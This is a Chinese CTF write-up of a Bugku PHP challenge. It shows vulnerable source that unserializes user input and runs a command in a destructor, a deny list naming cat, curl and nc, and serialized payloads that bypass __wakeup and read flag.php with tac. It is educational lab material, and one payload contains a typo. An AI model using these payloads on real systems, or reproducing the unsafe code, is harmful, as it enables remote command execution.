bugku web-安慰奖-考查反序列化和魔术方法

本文介绍了如何通过理解PHP的魔术方法如__wakeup、__construct和__destruct,以及序列化过程中的访问控制符特性,来构造payload绕过权限检查。在给定的代码示例中,通过调整序列化数据的结构,成功以管理员身份执行命令并使用未禁用的tac命令查看flag.php内容,从而获取flag。

打开网址发现一片空白
审查源代码发现一串base,解码得到备份
在这里插入图片描述
打开查看发现源代码,

<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
    protected $username = 'hack';
    protected $cmd = 'NULL';
    public function __construct($username,$cmd)
    {
        $this->username = $username;
        $this->cmd = $cmd;
    }
    function __wakeup()
    {
        $this->username = 'guest';
    }

    function __destruct()
    {
        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
        {
            exit('</br>flag能让你这么容易拿到吗?<br>');
        }
        if ($this->username === 'admin')
        {
           // echo "<br>right!<br>";
            $a = `$this->cmd`;
            var_dump($a);
        }else
        {
            echo "</br>给你个安慰奖吧,hhh!</br>";
            die();
        }
    }
}
    $select = $_GET['code'];
    $res=unserialize(@$select);
?>

这里有几个点要注意:
一,三个魔术方法

unserialize()#该函数是反序列化,会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源,
_construct():PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
__destruct():PHP 5 引入了析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

2,访问控制符

	当访问控制符为private与protect时,序列化时会比较特殊:  

    protected属性被序列化的时候属性值会在前面加上%00*%00:如%00*%00属性名
    private属性被序列化的时候属性值会在前面加上%00*%00:如%00类名%00属性名

知道这几个条件后开始构造payload,
传一个code参数,程序会对其反序列化,当判断username为admin时,会执行cmd内的代码

O:3:"ctf":2:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}

发现错误
在这里插入图片描述再仔细看一下发现漏一点,
因为调用unserialize函数之前会调用__wakeup方法,后面会将username覆盖为guest。需要绕过,将变量个数修改为大于实际值的数就能够绕过。

O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}

在这里插入图片描述看到了flag存放的文件,但很多查看的命令都被禁用了,(cat|more|tail|less|head|curl|nc|strings|sort|echo/i),但是还有一个tac没有禁用,nice
tac :从最后一行开始读取,跟cat相反
构造

O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";:s:12:"tac flag.php";}

得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值